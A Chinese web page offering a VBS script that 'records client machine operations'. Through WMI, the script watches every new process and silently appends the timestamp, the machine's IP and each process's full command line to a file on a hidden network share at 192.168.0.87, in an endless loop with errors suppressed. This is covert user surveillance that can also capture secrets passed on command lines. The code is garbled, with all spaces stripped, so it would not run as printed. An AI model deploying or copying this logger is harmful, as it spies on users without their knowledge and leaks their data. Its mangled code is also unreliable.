用VBS记录客户机操作的代码

时间:2021-05-22

记录客户机操作的VBS脚本
onerrorresumenext
strComputer="."
SetobjWMIService=GetObject("winmgmts:\\"&strComputer&"\root\cimv2")
SetIPConfigSet=objWMIService.ExecQuery_
("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")
ForEachIPConfiginIPConfigSet
IfNotIsNull(IPConfig.IPAddress)Then
Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress)
a=IPConfig.IPAddress(i)
Next
EndIf
Next

strComputer="."
SetobjWMIService=GetObject("winmgmts:"_
&"{impersonationLevel=impersonate}!\\"&strComputer&"\root\cimv2")
SetcolMonitoredProcesses=objWMIService._
ExecNotificationQuery("select*from__instancecreationevent"_
&"within1whereTargetInstanceisa'Win32_Process'")


i=0


DoWhilei=0
SetobjLatestProcess=colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.CommandLine

setfso=createobject("scripting.filesystemobject")
setfile1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)
file1.writelinenow()&"---"&a&"---"&b&"<hr>"
file1.close

Loop

声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。

相关文章